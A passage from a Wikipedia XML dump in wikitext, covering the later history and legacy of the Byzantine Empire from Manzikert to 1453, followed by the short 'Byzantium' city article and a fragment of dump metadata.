However, like Rome before it, Byzantium soon fell into a period of difficulties, caused to a large extent by the growth of aristocracy, which undermined the theme system. Facing its old enemies (the Holy Roman Empire and the [[Abbasid Caliphate]]), the Eastern Roman Empire might have recovered, but around the same time new invaders appeared on the scene who had little reason to respect its reputation. The [[Normans]] finally completed the expulsion of the Byzantines from Italy in 1071 due to an ostensible lack of Byzantine interest in sending any support to Italy. Also, the [[Seljuk Turks]], who were mainly interested in defeating [[Egypt]] under the [[Fatimids]], continued their military campaigns into [[Asia Minor]], which was the main recruiting ground for Byzantine armies. With the surprise defeat of Emperor [[Romanus IV]] by [[Alp Arslan]] (sultan of the Seljuk Turks) at [[Manzikert]] in 1071, most of that province was lost.

The eleventh century was also momentous for its religious events. In 1054, relations between Greek-speaking Eastern and Latin-speaking Western traditions within the Christian Church reached a terminal crisis. There was never a formal declaration of institutional separation, and the so-called [[East-West Schism|Great Schism]] actually was the culmination of centuries of gradual separation. From this split, the modern (Roman) Catholic and Eastern Orthodox churches arose. This development was to be fateful indeed for the Byzantine empire, ultimately resulting in calamity in the thirteenth century.

==The Comneni and the crusaders==
{{details|Alexius I Comnenus}}

After Manzikert, a partial recovery was made possible due to the efforts of the [[Comnenian dynasty]]. The first emperor of this royal line was [[Alexius I|Alexius Comnenus]] (whose life and policies would be described by his daughter [[Anna Comnena]] in the ''[[Alexiad]]''). Alexius' long reign of nearly 37 years was full of struggle. At his accession in 1081, the Byzantine Empire was in chaos after a prolonged period of civil war resulting from the defeat at Manzikert. At the very outset of his reign, Alexius had to meet the formidable attack of the Normans under [[Robert Guiscard]] and his son Bohemund, who took Dyrrhachium and Corfu, and laid siege to Larissa in Thessaly (see [[Battle of Dyrrhachium]]). The Norman danger ended for the time being with Robert Guiscard's death in 1085, and the conquests were reversed.

Alexius next had to repel the invasions of [[Pechenegs]] and [[Cumans]] in Thrace, with whom the Manichaean sect of the heretical [[Bogomils]] made common cause; and thirdly, he had to cope with the fast-growing power of the Seljuk Turks in Asia Minor, who had penetrated to within a day's ride of the Bosphorus, establishing themselves at [[Nicaea]].

To deal with these problems and the disintegration of the empire's traditional defences, Alexius began to reestablish the army on the basis of feudal grants (''[[pronoia|próniai]]''), and prepared to advance against the Seljuks. His plea for western aid against the Seljuk advance brought about the [[First Crusade]], which helped him reclaim [[Nicaea]] and recover significant territories from the Seljuk Turks. Alexius' heroic efforts saved his empire from complete annihilation, and he deserves much of the credit for making possible the restoration of the empire that occurred under his successors. 

===John's restoration of the empire===
[[Image:JohnIIcomnenus.jpg|right|thumb|200px|Emperor '''John II Comnenus'''. During his reign ([[1118]]-[[1143]]) he earned near universal respect, even from the Crusaders, for his courage, dedication and piety.]]
Alexius' son [[John II Comnenus]] succeeded him in 1118, and was to rule until 1143. On account of his mild and just reign he has been called the Byzantine [[Marcus Aurelius]]. John was unusual for his lack of cruelty — despite his long reign, in an age where violence was the norm, he never had anyone killed or blinded. He was loved by his subjects, who gave him the name 'John the Good'. He was also an energetic campaigner, spending much of his life in army camps and personally supervising sieges. 

A brief look at John's life gives an indication of the difficulties Byzantium faced in this period: enemies confronted the empire on all sides. An invasion of nomadic horsemen from the north threatened to overrun the [[Balkans]]. The Turks were harassing Byzantine territory in [[Asia Minor]]. However, this was an age where the empire depended on strong personal action by the emperor, and the way in which these problems were dealt with follows a pattern that was to recur throughout the reigns of the three Comneni emperors. Thanks to John's intelligent defence, the nomadic horsemen were soundly defeated, and the [[Danube]] frontier was secured. Likewise, Turkish expansion in Asia Minor was halted, and John took the fight to the enemy, leading a series of campaigns against the [[Danishmends]] in the north-east. However, despite extensive campaigning disappointingly little territory was gained and held in this region. Towards the end of his reign, John made a concerted effort to secure [[Antioch]]. On the way, he captured the southern coast of Asia Minor and [[Cilicia]] (these conquests proved more lasting). He advanced into Syria at the head of his veteran army, which had been seasoned by a lifetime of campaigning. Although John fought hard for the Christian cause in the campaign in Syria, there was a famous incident where his allies Prince [[Raymond of Antioch]] and Count [[Joscelin II of Edessa ]] sat around playing dice while John pressed the siege of an enemy town. These Crusader Princes were suspicious of each other and of John, and neither wanted the other to gain from participating in the campaign, while Raymond also wanted to hold on to his City, which he had agreed to hand over to John if the campaign was successful. Ultimately, Joscelin and Raymond conspired to keep John out of Antioch, and while he was preparing to lead a pilgrimage to Jerusalem and a further campaign, he accidentally grazed his hand on a poison arrow while out hunting. The poison set in, and shortly afterwards he died. 

The Byzantine position had improved enormously under John. Substantial territories had been recovered, and his successes against the invading Petchenegs, Serbians and Seljuk Turks, whose progress in Asia Minor he reverted, along with his attempts to establish Byzantine suzerainty over the Crusader States in Antioch and Edessa, did much to restore the reputation of his empire. He left the empire in a much better state than he had found it, and by the time of his death he had earned near universal respect, even from the Crusaders, for his courage, dedication and piety. His early death meant his work went unfinished — his last campaign might well have resulted in real gains for Byzantium and the Christian cause. 
[[Image:Manuel'sEmpire.png|thumb|300px|right|Map of the Byzantine Empire under Manuel Comnenus, c.1180]]

===Manuel I Comnenus===
John's chosen heir, his son [[Manuel I Comnenus]], was a worthy successor who had an optimistic outlook and saw possibilities everywhere. The Latin historian [[William of Tyre]] described Manuel as &quot;beloved of God... a great-souled man of incomparable energy&quot;, whose &quot;memory will ever be held in benediction&quot;. Manuel was further extolled by Robert of Clari as a &quot;generous and worthy man&quot;. Famous for his charisma and enthusiasm for western customs, Manuel arranged [[jousting]] matches, even participating in them, an unusual and discomforting sight for the Byzantines. Indoctrinated with the idea of a universal Empire, and with a passion for theological debate, he was also perhaps the only chivalrous Emperor-Knight of Byzantium. He is a representative of a new kind of Byzantine ruler who was influenced by the contact with the western crusaders. 

Eager to restore his empire to its past glories as the superpower of the Mediterranean world, Manuel pursued an energetic and ambitious foreign policy. In the process he made alliances with the [[Pope]] and the resurgent west, invaded [[Italy]], successfully handled the passage of the dangerous [[Second Crusade]] through his empire, and established a Byzantine protectorate over the Crusader kingdoms of [[Outremer]]. Facing the Islamic jihad in the [[Holy Land]], he made common cause with the Kingdom of Jerusalem and participated in a combined invasion of Fatimid Egypt. Manuel reshaped the political map of the [[Balkans]] and the east Mediterranean, placing the kingdoms of [[Hungary]] and Outremer under Byzantine hegemony and campaigning aggressively against his neighbours both in the west and in the east. Disputes between the [[Catholic]] and [[Orthodox Church]]es occasionally harmed efforts at cooperation with the latins, but in many other ways Byzantine civilisation was flourishing in this period.

==Twelfth century prosperity, art &amp; culture==
[[image:Manuel_I_Comnenus.jpg|right|thumb|200px|Emperor '''Manuel I Comnenus''' who reigned from 1143 A.D. to 1180 A.D. He is shown wearing imperial regalia]]

===Urban revival and demographic growth===
Recent research has revealed that the twelfth century was a time of significant growth in the rural economy, with rising population levels and extensive tracts of new agricultural land being brought into production. The widespread construction of new rural churches is a strong indication that prosperity was being generated even in remote areas. A steady increase in population led to a higher population density in many areas of the empire, and there is good evidence that the demographic increase was accompanied by the revival of towns.  According to Alan Harvey in his book ‘’Economic expansion in the Byzantine Empire 900-1200’’, towns expanded significantly in the twelfth century. Archaeological evidence from both Europe and Asia Minor shows an increase in the size of urban settlements, together with a ‘notable upsurge’ in new towns. An increase in trade, made possible by the growth of the Italian city-states, may have been a further factor in the growth of the cities. Certainly, the [[Venetians]] and others were active traders in the ports of the [[Holy Land]], and they made a living out of shipping goods between the Crusader Kingdoms of [[Outremer]] and the West while also trading extensively with Byzantium and [[Egypt]]. 

In Asia Minor, some areas had become depopulated due to [[Turkic peoples|Turkish]] raiding in the late eleventh century. Yet as the Comnenian emperors built up extensive fortifications in rural areas during the twelfth century, repopulation of the countryside took place. The restoration of order in western Asia Minor enabled the demographic trend to resume its upward course after the setbacks of the late eleventh century, and indeed it was in the [[thirteenth century]] that this process reached its peak. 

Overall, given that we can be certain that the growth of population in this period was substantial, it is clear that the effect on the revenues of the state must have been very considerable. The continuing population increases throughout the twelfth century were helping to strengthen the economic basis of the state.  This helps to explain how the Comneni emperors, [[Manuel Comnenus]] in particular, were able to project their power and influence so widely at this time. Yet this is by no means the only effect of economic expansion in the empire.

===Artistic revival===
The new wealth being generated during this period had a positive impact on Byzantine cultural life. In artistic terms, the [[twelfth century]] was a very productive period in Byzantine history. There was a revival in the [[mosaic]] art, for example, with artists showing great interest in depicting natural landscapes with wild animals and scenes from the hunt. Mosaics became more realistic and vivid, with an increased emphasis on depicting three-dimensional forms. With its love of luxury and passion for colour, the art of this age delighted in the production of masterpieces that spread the fame of Byzantium throughout the whole of the Christian world. [[Image:Nerezi.jpg|thumb|right|300px|'The Lamentation of Christ' (1164), a fresco from the church of Saint Panteleimon in Nerezi near Skopje. It is considered a superb example of twelfth century [[Comnenus|Comnenian]] art.]]  Beautiful silks from the work-shops of Constantinople also portrayed in dazzling colour animals -lions, elephants, eagles, and griffins- confronting each other, or representing Emperors gorgeously arrayed on horseback or engaged in the chase. In the provinces, regional schools of [[Architecture]] began producing many distinctive styles that drew on a range of cultural influences. All this suggests that there was an increased demand for art, with more people having access to the necessary wealth to commission and pay for such work.

Yet the marvellous expansion of Byzantine art during this period, one of the most remarkable facts in the history of the empire, did not stop there. From the tenth to the twelfth century Byzantium was the main source of inspiration for the West. By their style, arrangement, and iconography the mosaics of St. Mark's at Venice and of the cathedral at [[Torcello]] clearly reveal their Byzantine origin. Similarly those of the Palatine Chapel, the Martorana at [[Palermo]], and the cathedral of Cefalu, together with the vast decoration of the cathedral at Monreale, demonstrate the influence of Byzantium οn the [[Norman]] Court of [[Sicily]] in the twelfth century. Hispano-[[Moorish]] art was unquestionably derived from the Byzantine. [[Romanesque]] art owes much to the East, from which it borrowed not only its decorative forms but the plan of some of its buildings, as is proved, for instance, by the domed churches of south-western France. Princes of [[Kiev]], Venetian doges, abbots of [[Monte Cassino]], merchants of [[Amalfi]], and the Norman kings of Sicily all looked to Byzantium for artists or works of art. Such was the influence of Byzantine art in the twelfth century, that Russia, Venice, southern Italy and Sicily all virtually became provincial centres dedicated to its production.

==Underlying weaknesses: the sudden collapse of Byzantine power==

Although the three competent Comnenan emperors, especially Manuel, had the power to expel the outnumbered Seljuks, there were a number of reasons they never did so. Whereas the Byzantines had ultimately prevailed over the [[Arabs]] in the [[eighth century]], driving them out of Asia Minor and holding a frontier against them, in the [[twelfth century]] the Turks were more successful in establishing themselves in these same lands. This was partially due to their [[nomadic]] lifestyle, which made them much better suited to life in [[Anatolia]] than the Arabs had been. But the main difference was one of [[demography]]. Whereas Arab armies conquered new lands and then installed a new governing class over them, the Turks settled as an entire people in their new lands. Unlike their Arab predecessors, the Turkish armies did not 'go home'. This made them much harder to dislodge, and indeed there are parallels with the entry of the [[Goths]] into the [[Western Roman Empire]], many centuries earlier. Another reason was that it was difficult for the emperor to remain in one theatre of war for a long time, as events elsewhere often intervened that required his attention. It has even been argued that it was never in the interests of the Comneni to expel the Turks, as the expansion back into Anatolia would have meant sharing more power with the feudal lords, thus weakening their power. If this is so, it is deeply ironic, as re-conquering Anatolia may have saved the Eastern Roman Empire in the long run.

The decline of the 'theme' system, which had supplied large numbers of troops for the empire in earlier centuries, was also a major factor in the failure of Byzantine efforts to drive out the Turks. It is thought that the Byzantine army under Manuel numbered some 40,000 men. Comparison with the thematic army that had existed in the [[ninth century]] shows that considerably more men had been available for duty under the theme system. And like the late [[Roman army]], the late [[Byzantine army]] was more costly than its earlier counterpart . Although the role of [[mercenaries]] in the Byzantine army has been the subject of much debate, it is a common misconception that they formed the entire Byzantine army in this period. In fact, the [[Comneni]] emperors made significant efforts to recruit native units as well as mercenaries. Nevertheless, there is no doubt that mercenaries did make up a substantial part of the army, and they were often expensive. One of the main advantages of the theme system was that it provided a means of mobilising large numbers of men cheaply. Now that this system no longer operated, one of the main strengths of the Byzantine state had been lost, and it is perhaps unsurprising that the empire disintegrated soon after the death of [[Manuel Comnenus]]: it was only the resolute leadership of three very capable rulers that had been holding the empire together. Byzantium had come to rely too much on individual emperors. Without strong underlying institutions that would always be there, whether the emperor was good or bad, the state was extremely vulnerable in times of crisis.

==Decline and fall of the Byzantine Empire==
===Death of Manuel Comnenus=== 
&lt;!-- Image with unknown copyright status removed: [[Image:Byzantine_Empire_(1204).jpg|thumb|right|300px|The Byzantine Empire in 1204 A.D. was divided into the [[Empire of Nicaea]], the [[Empire of Trebizond]] and the [[Despotate of Epirus]].]] --&gt;

The 12th century was marked by a series of wars against the [[Hungarians]] and the [[Serbs]]. Emperor [[Manuel Comnenus]] campaigned successfully in this region, forcing the rebellious Serbs to vassalage ([[1150]]-[[1152]]) and leading his troops into Hungary. In 1168, a decisive victory near [[Zemun]] enabled him to conclude a peace by which [[Dalmatia]] and other frontier territories were ceded to him. Manuel's success enabled him to choose the next king of Hungary, and he duly appointed [[Béla III of Hungary|Béla III]] in 1172. 

However, from the moment of Manuel's death on 24 September 1180, the Byzantine Empire began a steep decline that would never be reversed. The succession of disastrous rulers who followed him quickly lost virtually all of the gains of the last hundred years. As a result of unwise demands for increased taxation, a rebellion was organised in [[1185]] in [[Bulgaria]]; it was successful and one year later these lands were officially lost. These events significantly contributed to the decline of the Byzantine empire. In view of the difficulties the empire faced in its [[Asian]] territories at this time, control of the [[Balkans]] was vital to imperial security. Therefore, the empire's losses in Bulgaria and Serbia were a disaster, significantly reducing the amount of territory, manpower and revenue available to the state. They also meant that the easily-defensible [[Danube]] frontier was replaced by a long and vulnerable land frontier which separated the rich provinces of [[Greece]], [[Macedonia]] and [[Thrace]] from the two aggressive revived states to the north.
[[Image:ShepherdByzempire1265.jpg|thumb|right|300px|The Byzantine Empire in 1265 (William R. Shepherd, ''Historical Atlas'', 1911).]]

===The Fourth Crusade===
Of all the turbulent events that occurred during its long life, the [[Fourth Crusade]] had the most devastating effect on the empire.  Although the stated intent of the crusade was to conquer [[Egypt]], the leaders of the Crusade ran in to trouble when they found that considerably fewer men had responded to the call than had been expected. As a result, they could not afford to pay the Venetians for all the ships they had hired. After some time spent arguing over what to do next, the Venetians came up with a new proposal, and under their influence the Crusaders sailed to Constantinople, sacking the town of [[Zadar|Zara]] (which was an enemy of Venice) on the way. In 1204, through treachery the Crusaders were able to gain entry to the city, and soon their troops poured into the city of Constantine, a city that had withstood every siege for nearly a thousand years. The Crusaders ransacked the wealth of a millennium, stretching back to the days of the Roman Empire. Buildings were burned down, and the four bronze horses which famously stand in [[Saint Mark's Square]] in Venice today, were looted from the Hippodrome at Constantinople. As a result, a short-lived feudal kingdom was founded (the [[Latin Empire]]), and Byzantine power was permanently weakened. At this time, the [[Serbian Kingdom]] under the [[Nemanjic]] dynasty grew stronger with the collapse of Byzantium, forming a [[Serbian Empire]] in 1346.

===Fall===
After the sacking of Constantinople in 1204, three [[successor state]]s were established. These states included the [[Empire of Nicaea]], the [[Empire of Trebizond]], and the [[Despotate of Epirus]]. The first state, controlled by the [[Palaeologus|Palaeologan dynasty]], managed to reclaim Constantinople in 1261 and defeated Epirus. This led to the reviving of the Eastern Roman Empire, but the empire's attention was more focused on Europe than on the Asian provinces that were the primary concern. For a while, the empire survived simply because the [[Muslim|Muslims]] were too divided to attack. However, the [[Ottoman Empire|Ottomans]] eventually overran many Byzantine territories except for a handful of port cities.

[[Image:Byzantine 1400.PNG|thumb|300px|right|The Byzantine Empire around year 1400.]]

The Eastern Roman Empire appealed to the west for help, but they would only consider sending aid in return for reuniting the churches. Church unity was considered, and occasionally accomplished by law, but the Orthodox citizens would not accept Roman Catholicism. Some western mercenaries arrived to help, but many preferred to let the empire die, and did nothing as the Ottomans picked apart the remaining territories.

Constantinople was initially not considered worth the effort of conquest, but with the advent of cannons, the walls (which had been impenetrable for over 1000 years except by the [[Fourth Crusade]]) no longer offered adequate protection against the Ottomans. The [[Fall of Constantinople]] finally came after a two-month siege by [[Mehmed II]] on [[May 29]], [[1453]]. The last Byzantine emperor, [[Constantine XI Paleologus]], was last seen entering deep into the fighting of an overwhelmingly outnumbered civilian army, against the invading Ottomans on the ramparts of Constantinople. Mehmed II also conquered [[Mistra]] in 1460 and [[Trebizond]] in 1461. 

Mehmed and his successors continued to consider themselves proper heirs to the Byzantine Empire until the demise of the Ottoman Empire in the early 20th century. By the end of the 15th century, the [[Ottoman Empire]] had established its firm rule over [[Asia Minor]] and parts of the [[Balkan peninsula]]. 

Meanwhile, the role of the emperor as a patron of [[Eastern Orthodoxy]] was now claimed by the [[Grand Duke]]s of [[Muscovy]] starting with [[Ivan III of Russia|Ivan III]]. His grandson, [[Ivan IV of Russia|Ivan IV]], would become the first [[Tsar]] of [[Russia]] (tsar, also spelled ''czar'', is a term derived from the Latin word ''caesar''). Their successors supported the idea that [[Moscow]] was the proper heir to [[Rome]] and [[Constantinople]] and the idea of a [[Third Rome]] was carried throughout the [[Russian Empire]] until its demise in the early 20th century.

==Legacy and importance==
[[Image:Constantinople_1453.jpg|thumb|200px|The city of Constantinople in 1453.]]
Byzantium was arguably the only stable state in Europe during the [[Middle Ages]]. Its expert military and diplomatic power ensured inadvertently that Western Europe remained safe from many of the more devastating invasions from eastern peoples, at a time when the Western Christian kingdoms might have had difficulty containing it. Constantly under attack during its entire existence, the Byzantines shielded Western Europe from [[Persians]], Arabs, [[Seljuk Turks]], and for a time, the [[Ottomans]].

The 20th century has seen an increased interest by historians to understand the empire, and its impact on European civilization is only recently being recognised.

===Economy===

The Byzantine economy was the most advanced in Europe for many centuries. The Byzantine [[solidus (coin)|Solidus]] was the internationally preferred currency for 700 years, only gradually being superseded by [[Italian]] currencies (particularly that of Venice) after [[1204]]. The wealth of the empire was unmatched by any state in [[Europe]], and its capital was one of the wealthiest cities in the world. This economic wealth was helped enormously by the fact that Byzantium was the most important western terminal of the [[Silk Road]]. It was also the single most important commercial center of Europe for much of the Medieval era, which status it held until Venice began to overtake Constantinople during the thirteenth and fourteenth centuries . 

The economic foundation of the empire was trade. Constantinople was located on important east-west and north-south trade routes. Trebizond was an important port in the eastern trade. The exact routes varied over the years with wars and the political situation. Imports and exports were uniformly taxed at ten percent. 

Raw silk was bought from China and India and made up into fine brocades and cloth-of-gold that commanded high prices through the world. Silk processing was an imperial monopoly, only processed in imperial factories, and sold to authorized buyers. Later, silk worms were smuggled into the Empire and the overland silk trade became less important.  Other exports included gold jewelry, enameled work, and fine carvings in ivory and semi-precious stone. In other parts of the empire, wine was made and exported to the north. Furs, slaves, timber, metals, and amber were imported from the north, and dried fish from the south.  

Commercial life in the Byzantine empire was extensively and minutely regulated by the state. Interest rates, profits, and prices were set by law, and enforced through a system of guilds. There was always full employment: It was very difficult to fire an employee, and any able-bodied man who was &quot;idle&quot; was required to take a public-works job.  
   
The sack of Constantinople by Latin crusaders in 1204 was an economic catastrophe. As one [[Crusader]], [[Geoffrey of Villehardouin]], wrote of the sack of the Byzantine Capital in 1204, 

&quot;... Never, since the world was created, had so much booty been won in any city.&quot;

By the early thirteenth century, the Crusaders had altered the trade routes to the advantage of the Italian city-states. Although the Palaeologues took back Constantinople in [[1261]], the empire's economy never entirely recovered. Territorial gains by the Turks in Asia Minor forced Constantinople to look elsewhere for its food supply. For political and military reasons the weakened empire was forced to grant concessions to Italian traders, reducing tax revenues. Furthermore, the Italians had acquired silk worms, reducing the value of the imperial monopoly. For the last two centuries of its existence, the ever declining territories and revenues of the Byzantine Empire were never enough to pay for the cost of its defence. This situation greatly contributed to the eventual collapse of the empire.

===Science and law===
:''See also [[Byzantine medicine]]'' and ''[[Corpus Juris Civilis|Byzantine Law]]''
Byzantium played an important role in the transmission of classical knowledge to the Islamic world and to [[Renaissance Italy]]. Its rich historiographical tradition preserved ancient knowledge upon which splendid art, architecture, literature and technological achievements were built. It is not an altogether unfounded assumption that the Renaissance could not have flourished were it not for the groundwork laid in Byzantium, and the flock of Greek scholars to the West after the fall of the Empire. 

In regards to [[The Rule of Law]], The Emperor Justinian's formation of a new code of Law, or [[Corpus Juris Civilis]] and the revisions it constantly underwent (most notably in the Macedonian Dynasty), had a clear effect on the evolution of Law as a Science. The Codex itself compiled all previous 'Statutes' of Roman Emperors, paved the way for a more developed system of Appeals Courts and a system of [[Maritime Law]] that we can still see the influence of today. In this Byzantium contributed towards the evolution of Law as a Science that arguably has had a greater effect upon legal systems of today than its direct predecessor, [[Roman Law]].

===Religion===
The Byzantine Empire was the empire that introduced the widespread adoption of Christianity to Europe — arguably one of the central aspects of a modern Europe’s identity. This is embodied in the Byzantine version of Christianity, which spread Orthodoxy and eventually led to the creation of the so-called &quot;[[Byzantine commonwealth]]&quot; (a term coined by 20th-century historians) throughout Eastern Europe. Early Byzantine missionary work spread [[Orthodox Christianity]] to various [[Slavic peoples]], where it still predominates, especially in today's [[Bulgaria]], (fY) [[Republic of Macedonia]], [[Russia]], [[Serbia]] and [[Ukraine]]; of course, it has also remained the religion of the [[Greeks]]. Less well known in the West is the influence of the Byzantine religious sensibility on the millions of Christians in [[Ethiopia]], the [[Coptic Christianity|Coptic]] Christians of [[Egypt]], and the Christians of [[Georgia (country)|Georgia]] and [[Armenia]],though they all belong to the Orthodox Faith.

[[Robert Byron]], one of the first 20th century Philhellenes, argued that the greatness of Byzantium lay in what he described as &quot;the Triple Fusion&quot;: that of a Roman body, a Greek mind and an oriental, mystical soul.

===Art, architecture, and literature ===
:''See also [[Byzantine music]]''
[[Byzantine Art]] and [[Byzantine Architecture]] were largely based around the Christian story and its heralds, and the importance of icons in Orthodox society. In terms of architecture, Byzantines emphasized the Dome, the arch and the Grecian cross lay out. It is evidenced today in countless examples of old Byzantine Churches with their traditional mosaics depicting Saints and figures from the Bible. Its impact was such that it spawned a [[Neo-Byzantine]] architectural revival in later years. Byzantine Art was also important in this respect, its impact on [[Orthodoxy]] can be witnessed across southeast Europe, Russia, the Holy Land and parts of the Middle East, but also in those areas of Turkey where it was allowed to survive.

The finest Byzantine literary works were Hymns and devotionals, especially those of... The other area where the Byzantines excelled was in practical writing. While rarely works of genius, a series of competent, diligent writers, both male and female, produced many works of practical value in the fields of public administration, military affairs, and the practical sciences. The early theological work of the Byzantines was important in the development of western thought. Historiography influenced later Russian chroniclers. 

Most of the writing was in classical Greek. Vernacular literature developed much more slowly than in the west. There was little fiction, the best-known work being the epic poem [[Digenis Acritas]], written in something approaching the vernacular. Much of the writing of the day was history, theology, biography, and hagiography. Many letters have survived, some work-a-day correspondence, a few minor masterpieces, as well as a few large encyclopedic works, such as the huge [[Suda]]. Perhaps the Byzantine empire's greatest contribution to literature was their careful preservation of the best works of the ancient world, as well as compilations of works on certain subjects, with certain revisions, most specifically in the fields of [[medicine]] and [[history]].

===Civil service and the government===
The Byzantine State differed from other States of its day in that it emphasized the importance of a rigid, semi-professional Civil Service rather than direct rule, and the appointment of the Monarch. The Civil Administration can largely be divided into three groups, the Palatine Administration, the Provincial Government and the Central Civil Service. Within this context, the system can be divided into two further sub-groupings, Judicial Officers and Financial Officers who were spread across the 13 permanent Departments of State (in the Central Civil Service). 

In this it can be said it anticipates the systems of many modern Nation States, and, despite the occasionally [[Derogatory use of &quot;Byzantine&quot;|derogatory use of the word &quot;Byzantine&quot;]], it had a distinct ability for reinventing itself in accordance with the Empire's situation. In this it was far more stable than other European systems of government at the time, and contributed clearly towards the evolution of [[Political Science]] and the system of Government.

==See also==

*[[Western Roman Empire]]
*[[List of Byzantine Empire-related topics]]
*[[Roman Empire]]
*[[Roman Emperors]]
*[[Byzantine Emperors]]
*[[History of Greece]]
*[[History of the Ottoman Empire]]
*[[History of the Balkans]]
*[[History of Europe]]
*[[History of the Middle East]]
*[[History of Rome]]
*[[Latin Empire]]
*[[Lombards]]
*[[Empire of Nicaea]]
*[[Empire of Trebizond]]
*[[Despotate of Epirus]]
*[[Despotate of Morea]]
*[[Byzantine currency]]
*[[Byzantine art]]
*[[Byzantine architecture]]
*[[Byzantine aristocracy and bureaucracy]]
*[[Byzantine army]]
*[[Byzantine battle tactics]]
*[[Byzantine navy]]
*[[Comnenus]]
*[[Palaeologus]]
*[[Eastern Orthodox Church Calendar]]
*[[Derogatory use of Byzantine]]

==External links==
{{commons|Byzantine Empire}}
*[http://www.orthodoxnews.netfirms.com/137/How.htm Christian Hellenism and How the Byzantines Saw Themselves]
*[http://www.fordham.edu/halsall/byzantium/ Byzantium: Byzantine studies on the Internet]
*[http://www.romanity.org/htm/fox.01.en.what_if_anything_is_a_byzantine.01.htm What, If Anything, Is A Byzantine? by Prof. Clifton R. Fox]
*[http://orthodoxempire.lx.ro Orthodox Empire]
*[http://www.anders.com/lectures/lars_brownworth/12_byzantine_rulers/ 12 Byzantine Rulers] by Lars Brownworth of the private Christian [[Stony Brook School]] (grades 7-12). Audio lectures.
*[http://www.cit.gu.edu.au/~s285238/Roman/RomanEmpire.html 18 centuries of Roman Empire by Howard Wiseman] (Maps of the Roman/Byzantine Empire throughout its lifetime)
*[http://www.friesian.com/romania.htm Rome &amp; Romania, 27 BC–1453 AD] (Detailed maps of Rome/Byzantium and its neighbors)
*[http://www.neobyzantine.org/byzantium/index.php Byzantine Glory — the mosaic of Byzantine History and Culture]
*[http://www.doaks.org/ehbvol.html The Economic History of Byzantium]

==Bibliography==
* Georg Ostrogorsky. &quot;History of the Byzantine State&quot;, 2nd edition, New Brunswick (NJ) 1969. (George Ostrogorsky, Георгије Острогорски)
* Warren Treadgold. &quot;A History of the Byzantine State and Society&quot;, Stanford, 1997.
* Helene Ahrweiler, &quot;Studies on the Internal Diaspora of the Byzantine Empire&quot;, Harvard University Press, 1998.
* John Julius Norwich, &quot;Byzantium&quot;, 3 Volumes, Viking, 1991.
*{{cite book | author=Runciman, Steven | title=Byzantine Civilisation | publisher=Edward Arnold (Publishers) Ltd. | year=1966 | editor= | id=}}

==References==
#Helene Ahrweiler, ''Les Europeens'', pp.150, Herman (Paris), 2000.
#Steven Runciman, ''The Emperor Romanus Lecapenus and his Reign'', p.9. University Press (Cambridge), 1990.
#Edward Gibbon, ''Decline and Fall of the Roman Empire'', chapter 53.
#Norman Cantor, ''Medieval History, the Life and Death of a Civilization'', 1963
#J.M. Hussey, ''The Cambridge Medieval History, Volume IV — The Byzantine Empire Part I, Byzantium and its Neighbors'', Cambridge University Press 1966
#http://www.greece.org/Romiosini/talk1.html
#http://www.bedfordstmartins.com/oconnor/oconnor/content/columbus.html
#{{cite book | author=Runciman, Steven | title=Byzantine Civilisation | publisher=Edward Arnold (Publishers) Ltd. | year=1966 | editor= | id=}}

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    <title>Byzantium</title>
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      <text xml:space="preserve">:''This article is about the city. See also [[Byzantine Empire]].''

'''Byzantium''' was an [[Ancient Greece|ancient Greek]] [[city-state]], founded by [[Hellenic civilization|Greek]] colonists from [[Megara]] in [[667 BC]] and named after their king [[Byzas]].  The name &quot;Byzantium&quot; is a [[Latinization]] of the original [[Thracian]]-Greek name '''Byzantion''' (&amp;#914;&amp;#965;&amp;#950;&amp;#940;&amp;#957;&amp;#964;&amp;#953;&amp;#959;&amp;#957;; see also [[List of traditional Greek place names]]).

After siding with [[Pescennius Niger]] against the victorious [[Septimius Severus]] the city was [[siege|besieged]] by [[Roman Empire|Rome]] and suffered extensive damage in AD [[196]]. Byzantium was rebuilt by the now [[Roman Emperor]] [[Septimius Severus]] and quickly regained its previous prosperity. The location of Byzantium attracted [[Constantine I of the Roman Empire|Constantine the Great]] who, in AD [[330]], refounded it as [[New Rome|Nova Roma]] or Constantinoupolis ([[Constantinople]], [[Greek language|Greek]] &amp;#922;&amp;#969;&amp;#957;&amp;#963;&amp;#964;&amp;#945;&amp;#957;&amp;#964;&amp;#953;&amp;#957;&amp;#959;&amp;#973;&amp;#960;&amp;#959;&amp;#955;&amp;#953;&amp;#962;) after a [[prophet]]ic [[dream]] was said to have identified the location of the city.  The East Roman Empire which had its capital in Constantinople from then until [[1453]], has often been called the [[Byzantine Empire]] or Byzantium by modern scholars. By extension, the name ''Byzantium'' is often used to refer to the Byzantine Empire, its territory, and its customs. 

Of course it did not take a prophet to see that this combination of [[imperialism]] and location would play an important role as the crossing point between two [[continent]]s ([[Europe]] and [[Asia]]), and later a magnet for [[Africa]] and others as well, in terms of [[commerce]], [[culture]], [[diplomacy]] and [[strategy]].  At a strategic position, Constantinoupolis was able to control the route between Asia and Europe, as well as the passage from the [[Mediterranean Sea]] to the ''Euxinos Pontus'' ([[Black Sea]]).

The Patriarch of Constantinople, &quot;head&quot; of the church of Byzantium, answered only to the Emperor who held most religious power. When the Muslims conquered Constantinople both the Emperor and the Patriarch were killed. The position of head of the Greek Orthodox Church was given to Gennadius II Scholarius by the conquering Muslim [[Mehmed II | Sultan Mehmed II]].

On [[May 29]] [[1453]], the city [[Fall of Constantinople|fell]] to the [[Ottoman Turks]] and was part of the [[Ottoman Empire]] until its official dissolution on [[November 1]], [[1922]]. Since then it has remained a part of the [[Republic of Turkey]] (first declared on [[January 20]] [[1921]], generally recognized on [[October 29]] [[1923]]).

In the [[20th century]] the city was renamed [[Istanbul]]. The renaming became official in [[1930]].

==See also==
* [[Constantinople]] details the history of the city before the [[Fall of Constantinople|Turkish conquest of 1453]].
* [[Istanbul]] details the history of the city after it was renamed in the twentieth century and describes the modern city.

==External links==
* Description of Byzantine monetary system - fifth Century BC : [http://www.galmarley.com/framesets/fs_monetary_history_faqs.htm History of money FAQ's]

==References==
*Jeffreys, Elizabeth and Michael, and Moffatt, Ann. 1981. ''Byzantine Papers: Proceedings of the First Australian Byzantine Studies Conference, Canberra, 17-[[19 May]] [[1978]]''. Australian National University, Canberra.
* [http://www.istanbulinfolink.com/the_city/istanbul/history_1.htm Istanbul Historical Information - Istanbul Informative Guide To The City].  Retrieved Jan. 6, 2005.
* [http://www.guideistanbul.net/tablo1a.htm The Useful Information about Istanbul]. Retrieved Jan. 6, 2005.

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[[Category:Megarian colonies]]
[[Category:Ancient Greek cities]]
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      <comment>Fix Double Redirect - [[WP:WS|Please help out by clicking here to fix someone else's Wiki syntax]].</comment>
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    <title>Berlin Wall</title>
